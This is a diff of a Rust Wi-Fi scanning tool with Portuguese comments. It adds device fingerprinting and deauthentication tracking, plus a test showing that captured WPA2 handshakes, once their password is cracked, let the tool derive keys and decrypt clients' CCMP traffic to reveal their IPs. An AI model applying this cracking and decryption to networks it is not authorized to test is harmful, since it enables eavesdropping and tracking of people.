if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||||
ap.data_frames += 1;
|
ap.data_frames += 1;
|
||||||
if !ap.clients.contains(&client) {
|
if !ap.clients.contains(&client) {
|
||||||
@@ -238,6 +377,14 @@ impl ScanTable {
|
|||||||
}
|
}
|
||||||
FrameKind::Deauth | FrameKind::Disassoc => {
|
FrameKind::Deauth | FrameKind::Disassoc => {
|
||||||
self.deauth_frames += 1;
|
self.deauth_frames += 1;
|
||||||
|
self.deauth_times.push_back(now);
|
||||||
|
while self
|
||||||
|
.deauth_times
|
||||||
|
.front()
|
||||||
|
.is_some_and(|t| now.saturating_sub(*t) > 60)
|
||||||
|
{
|
||||||
|
self.deauth_times.pop_front();
|
||||||
|
}
|
||||||
event.deauth = true;
|
event.deauth = true;
|
||||||
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
|
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
|
||||||
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
|
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
|
||||||
@@ -249,6 +396,14 @@ impl ScanTable {
|
|||||||
};
|
};
|
||||||
if let Some(client) = client {
|
if let Some(client) = client {
|
||||||
if let Some(c) = self.clients.get_mut(&client) {
|
if let Some(c) = self.clients.get_mut(&client) {
|
||||||
|
if c.associated {
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "deauth".into(),
|
||||||
|
detail: bssid.clone(),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
|
}
|
||||||
c.associated = false;
|
c.associated = false;
|
||||||
c.last_seen_unix = now;
|
c.last_seen_unix = now;
|
||||||
}
|
}
|
||||||
@@ -266,6 +421,16 @@ impl ScanTable {
|
|||||||
.entry(mac.to_string())
|
.entry(mac.to_string())
|
||||||
.or_insert_with(|| Client {
|
.or_insert_with(|| Client {
|
||||||
mac: mac.to_string(),
|
mac: mac.to_string(),
|
||||||
|
display_name: None,
|
||||||
|
vendor: crate::oui::vendor(mac).map(str::to_string),
|
||||||
|
manufacturer: None,
|
||||||
|
model: None,
|
||||||
|
device_name: None,
|
||||||
|
hostname: None,
|
||||||
|
ip: None,
|
||||||
|
os: None,
|
||||||
|
device: None,
|
||||||
|
random_mac: is_random_mac(mac),
|
||||||
bssid: None,
|
bssid: None,
|
||||||
signal_dbm: None,
|
signal_dbm: None,
|
||||||
max_signal_dbm: None,
|
max_signal_dbm: None,
|
||||||
@@ -274,15 +439,49 @@ impl ScanTable {
|
|||||||
associated: false,
|
associated: false,
|
||||||
first_seen_unix: now,
|
first_seen_unix: now,
|
||||||
last_seen_unix: now,
|
last_seen_unix: now,
|
||||||
|
signal_history: Vec::new(),
|
||||||
|
events: vec![ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "first_seen".into(),
|
||||||
|
detail: None,
|
||||||
|
}],
|
||||||
});
|
});
|
||||||
c.last_seen_unix = now;
|
c.last_seen_unix = now;
|
||||||
c.signal_dbm = signal;
|
c.signal_dbm = signal;
|
||||||
if let Some(sig) = signal {
|
if let Some(sig) = signal {
|
||||||
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||||
|
let should_push = c
|
||||||
|
.signal_history
|
||||||
|
.last()
|
||||||
|
.map_or(true, |s| s.t != now || s.dbm != sig);
|
||||||
|
if should_push {
|
||||||
|
c.signal_history.push(SignalSample { t: now, dbm: sig });
|
||||||
|
if c.signal_history.len() > 60 {
|
||||||
|
let drop = c.signal_history.len() - 60;
|
||||||
|
c.signal_history.drain(0..drop);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Já dá o fallback pro fabricante (OUI) desde o primeiro avistamento,
|
||||||
|
// antes de qualquer quadro de gerenciamento/dados chegar a chamar
|
||||||
|
// refresh_identity de novo.
|
||||||
|
if c.display_name.is_none() {
|
||||||
|
refresh_identity(c);
|
||||||
}
|
}
|
||||||
c
|
c
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn analysis(&self) -> crate::analysis::Analysis {
|
||||||
|
let now = unix_now();
|
||||||
|
let aps = self.access_points();
|
||||||
|
let deauth = self.deauth_times.len() as u32;
|
||||||
|
crate::analysis::analyze(&aps, deauth, now)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn deauth_60s(&self) -> u32 {
|
||||||
|
self.deauth_times.len() as u32
|
||||||
|
}
|
||||||
|
|
||||||
pub fn access_points(&self) -> Vec<AccessPoint> {
|
pub fn access_points(&self) -> Vec<AccessPoint> {
|
||||||
let mut v: Vec<_> = self.aps.values().cloned().collect();
|
let mut v: Vec<_> = self.aps.values().cloned().collect();
|
||||||
v.sort_by(|a, b| {
|
v.sort_by(|a, b| {
|
||||||
@@ -337,6 +536,102 @@ impl ScanTable {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn is_random_mac(mac: &str) -> bool {
|
||||||
|
let Some(first) = mac.split(':').next() else {
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
u8::from_str_radix(first, 16)
|
||||||
|
.map(|b| b & 0x02 != 0 && b & 0x01 == 0)
|
||||||
|
.unwrap_or(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn apply_management_identity(c: &mut Client, info: &dot11::ManagementInfo) {
|
||||||
|
if let Some(name) = info.wps_device_name.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
c.device_name = Some(name.to_string());
|
||||||
|
}
|
||||||
|
if let Some(manufacturer) = info.wps_manufacturer.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
c.manufacturer = Some(manufacturer.to_string());
|
||||||
|
}
|
||||||
|
if let Some(model) = info.wps_model.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
c.model = Some(model.to_string());
|
||||||
|
}
|
||||||
|
if let Some(hint) = c.device_name.as_deref().or(c.model.as_deref()) {
|
||||||
|
if let Some(device) = dot11::device_from_text(hint) {
|
||||||
|
c.device = Some(device);
|
||||||
|
}
|
||||||
|
if let Some(os) = dot11::os_from_text(hint) {
|
||||||
|
c.os = Some(os);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn apply_payload_identity(c: &mut Client, info: &dot11::PayloadInfo) {
|
||||||
|
if let Some(ip) = &info.ip {
|
||||||
|
c.ip = Some(ip.clone());
|
||||||
|
}
|
||||||
|
if let Some(hostname) = &info.hostname {
|
||||||
|
if !hostname.is_empty() {
|
||||||
|
c.hostname = Some(hostname.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Some(manufacturer) = &info.manufacturer {
|
||||||
|
c.manufacturer = c.manufacturer.take().or_else(|| Some(manufacturer.clone()));
|
||||||
|
}
|
||||||
|
if let Some(model) = &info.model {
|
||||||
|
c.model = Some(model.clone());
|
||||||
|
}
|
||||||
|
if let Some(os) = &info.os {
|
||||||
|
c.os = Some(os.clone());
|
||||||
|
}
|
||||||
|
if let Some(device) = &info.device {
|
||||||
|
c.device = Some(device.clone());
|
||||||
|
}
|
||||||
|
if let Some(hint) = c.hostname.as_deref().or(c.device_name.as_deref()) {
|
||||||
|
if c.os.is_none() {
|
||||||
|
c.os = dot11::os_from_text(hint);
|
||||||
|
}
|
||||||
|
if c.device.is_none() {
|
||||||
|
c.device = dot11::device_from_text(hint);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn refresh_identity(c: &mut Client) {
|
||||||
|
if c.manufacturer.is_none() {
|
||||||
|
c.manufacturer = c.vendor.clone();
|
||||||
|
}
|
||||||
|
if c.os.is_none() {
|
||||||
|
c.os = c
|
||||||
|
.hostname
|
||||||
|
.as_deref()
|
||||||
|
.or(c.device_name.as_deref())
|
||||||
|
.or(c.model.as_deref())
|
||||||
|
.and_then(dot11::os_from_text);
|
||||||
|
}
|
||||||
|
if c.device.is_none() {
|
||||||
|
c.device = c
|
||||||
|
.hostname
|
||||||
|
.as_deref()
|
||||||
|
.or(c.device_name.as_deref())
|
||||||
|
.or(c.model.as_deref())
|
||||||
|
.and_then(dot11::device_from_text);
|
||||||
|
}
|
||||||
|
c.display_name = c
|
||||||
|
.hostname
|
||||||
|
.clone()
|
||||||
|
.or_else(|| c.device_name.clone())
|
||||||
|
.or_else(|| c.model.clone())
|
||||||
|
.or_else(|| c.manufacturer.clone());
|
||||||
|
}
|
||||||
|
|
||||||
|
fn trim_events(c: &mut Client) {
|
||||||
|
const MAX: usize = 40;
|
||||||
|
if c.events.len() > MAX {
|
||||||
|
let drop = c.events.len() - MAX;
|
||||||
|
c.events.drain(0..drop);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn security_label(s: Security) -> String {
|
fn security_label(s: Security) -> String {
|
||||||
match s {
|
match s {
|
||||||
Security::Open => "Open".into(),
|
Security::Open => "Open".into(),
|
||||||
@@ -469,4 +764,12 @@ mod tests {
|
|||||||
assert_eq!(table.stats().deauth_frames, 1);
|
assert_eq!(table.stats().deauth_frames, 1);
|
||||||
assert!(!table.clients()[0].associated);
|
assert!(!table.clients()[0].associated);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn flags_locally_administered_macs() {
|
||||||
|
assert!(is_random_mac("5a:0d:93:04:cf:90"));
|
||||||
|
assert!(is_random_mac("02:11:22:33:44:55"));
|
||||||
|
assert!(!is_random_mac("00:11:22:33:44:55"));
|
||||||
|
assert!(!is_random_mac("ff:ff:ff:ff:ff:ff"));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -25,11 +25,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
|||||||
f[1] = EAPOL_TYPE_KEY;
|
f[1] = EAPOL_TYPE_KEY;
|
||||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||||
f[4] = 2;
|
f[4] = 2;
|
||||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||||
f[17..49].copy_from_slice(&nonce);
|
f[17..49].copy_from_slice(&nonce);
|
||||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||||
f
|
f
|
||||||
}
|
}
|
||||||
@@ -205,6 +205,7 @@ pub fn synthetic_handshake(
|
|||||||
first_seen_unix: 1,
|
first_seen_unix: 1,
|
||||||
last_seen_unix: 2,
|
last_seen_unix: 2,
|
||||||
password: None,
|
password: None,
|
||||||
|
tk: None,
|
||||||
};
|
};
|
||||||
// Exercita o parser de MAC do alvo.
|
// Exercita o parser de MAC do alvo.
|
||||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||||
|
|||||||
@@ -37,11 +37,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
|||||||
f[1] = EAPOL_TYPE_KEY;
|
f[1] = EAPOL_TYPE_KEY;
|
||||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||||
f[4] = 2;
|
f[4] = 2;
|
||||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||||
f[17..49].copy_from_slice(&nonce);
|
f[17..49].copy_from_slice(&nonce);
|
||||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||||
f
|
f
|
||||||
}
|
}
|
||||||
@@ -231,6 +231,7 @@ pub fn synthetic_handshake(
|
|||||||
first_seen_unix: 1,
|
first_seen_unix: 1,
|
||||||
last_seen_unix: 2,
|
last_seen_unix: 2,
|
||||||
password: None,
|
password: None,
|
||||||
|
tk: None,
|
||||||
};
|
};
|
||||||
// Exercita o parser de MAC do alvo.
|
// Exercita o parser de MAC do alvo.
|
||||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||||
|
|||||||
@@ -67,6 +67,98 @@ fn hidden_ssid_beacon_is_marked_hidden() {
|
|||||||
assert!(aps[0].hidden);
|
assert!(aps[0].hidden);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Depois que a senha de uma rede WPA2/CCMP é conhecida (quebrada), o
|
||||||
|
/// tráfego de dados do cliente cujo handshake foi capturado passa a ser
|
||||||
|
/// decifrado em tempo real pelo pipeline de ingestão — e a identidade
|
||||||
|
/// (aqui, o IP de origem, que exercita o parser de IPv4 por trás do LLC)
|
||||||
|
/// aparece mesmo com o bit "Protected" ligado.
|
||||||
|
#[test]
|
||||||
|
fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
|
||||||
|
use sabia_core::crack::{compute_ptk, derive_pmk};
|
||||||
|
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
let ssid = "RedeCifrada";
|
||||||
|
let password = "senha-correta";
|
||||||
|
|
||||||
|
let beacon = common::beacon_frame(common::ap(), ssid, 6, &[2]);
|
||||||
|
table.ingest(&common::radiotap_wrap(&beacon, 2437, -35));
|
||||||
|
|
||||||
|
let (f1, f2) = common::handshake_radiotap_frames(ssid, password, 2, false);
|
||||||
|
table.ingest(&f1);
|
||||||
|
table.ingest(&f2);
|
||||||
|
|
||||||
|
let bssid_str = sabia_core::dot11::mac_to_string(&common::ap());
|
||||||
|
let station_str = sabia_core::dot11::mac_to_string(&common::sta());
|
||||||
|
table.set_password(&bssid_str, &station_str, password);
|
||||||
|
|
||||||
|
// A TK derivada pelo pipeline tem que bater com a calculada à parte, com
|
||||||
|
// os mesmos nonces fixos (0xaa/0xbb) que handshake_radiotap_frames usa.
|
||||||
|
let anonce = [0xaa; 32];
|
||||||
|
let snonce = [0xbb; 32];
|
||||||
|
let pmk = derive_pmk(password, ssid);
|
||||||
|
let ptk = compute_ptk(&pmk, &common::ap(), &common::sta(), &anonce, &snonce);
|
||||||
|
let expected_tk: [u8; 16] = ptk[32..48].try_into().unwrap();
|
||||||
|
let hs = table
|
||||||
|
.handshake(&bssid_str, &station_str)
|
||||||
|
.expect("handshake presente");
|
||||||
|
assert_eq!(
|
||||||
|
hs.tk,
|
||||||
|
Some(expected_tk),
|
||||||
|
"TK deveria ser derivada ao quebrar a senha"
|
||||||
|
);
|
||||||
|
|
||||||
|
// Monta um quadro QoS Data, STA->AP, protegido, com CCMP header (PN=1,
|
||||||
|
// ExtIV ligado) e cifra um payload LLC/SNAP+IPv4 "na mão" — o CTR do
|
||||||
|
// CCMP é simétrico, então usar decrypt_data pra cifrar é válido aqui.
|
||||||
|
let llc_ipv4 = {
|
||||||
|
let mut v = vec![0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00];
|
||||||
|
let mut ip = vec![
|
||||||
|
0x45, 0x00, 0x00, 20, 0x00, 0x00, 0x00, 0x00, 64, 17, 0x00, 0x00,
|
||||||
|
];
|
||||||
|
ip.extend_from_slice(&[192, 168, 1, 50]); // origem privada
|
||||||
|
ip.extend_from_slice(&[192, 168, 1, 1]); // destino
|
||||||
|
v.extend_from_slice(&ip);
|
||||||
|
v
|
||||||
|
};
|
||||||
|
let ccmp_header = [0x01u8, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00]; // PN=1, ExtIV
|
||||||
|
let mut to_cipher = Vec::new();
|
||||||
|
to_cipher.extend_from_slice(&ccmp_header);
|
||||||
|
to_cipher.extend_from_slice(&llc_ipv4);
|
||||||
|
to_cipher.extend_from_slice(&[0u8; 8]); // placeholder pro MIC, ignorado
|
||||||
|
let ciphertext = sabia_core::ccmp::decrypt_data(&expected_tk, &common::sta(), 0, &to_cipher)
|
||||||
|
.expect("cifra via CTR simétrico");
|
||||||
|
|
||||||
|
let mut body = Vec::new();
|
||||||
|
body.extend_from_slice(&ccmp_header);
|
||||||
|
body.extend_from_slice(&ciphertext);
|
||||||
|
body.extend_from_slice(&[0u8; 8]); // MIC cifrado — não conferido na decriptação
|
||||||
|
|
||||||
|
let mut frame = Vec::new();
|
||||||
|
let fc: u16 = 0x0088 | 0x0100 | 0x4000; // QoS Data, to_ds, protected
|
||||||
|
frame.extend_from_slice(&fc.to_le_bytes());
|
||||||
|
frame.extend_from_slice(&0u16.to_le_bytes()); // duration
|
||||||
|
frame.extend_from_slice(&common::ap()); // addr1 = BSSID
|
||||||
|
frame.extend_from_slice(&common::sta()); // addr2 = transmissor (estação)
|
||||||
|
frame.extend_from_slice(&common::ap()); // addr3 = destino (irrelevante aqui)
|
||||||
|
frame.extend_from_slice(&[0u8; 2]); // sequence control
|
||||||
|
frame.extend_from_slice(&[0u8; 2]); // QoS control, TID 0
|
||||||
|
frame.extend_from_slice(&body);
|
||||||
|
|
||||||
|
let ev = table.ingest_at(&common::radiotap_wrap(&frame, 2437, -45), 30);
|
||||||
|
assert!(!ev.eapol, "não é um quadro EAPOL");
|
||||||
|
|
||||||
|
let clients = table.clients();
|
||||||
|
let client = clients
|
||||||
|
.iter()
|
||||||
|
.find(|c| c.mac == station_str)
|
||||||
|
.expect("cliente deveria ter sido visto");
|
||||||
|
assert_eq!(
|
||||||
|
client.ip.as_deref(),
|
||||||
|
Some("192.168.1.50"),
|
||||||
|
"o IP só aparece se o CCMP foi decifrado corretamente"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn pmkid_only_handshake_is_detected_and_crackable() {
|
fn pmkid_only_handshake_is_detected_and_crackable() {
|
||||||
let mut table = ScanTable::new();
|
let mut table = ScanTable::new();
|
||||||
|
|||||||
Reference in new issue
Block a user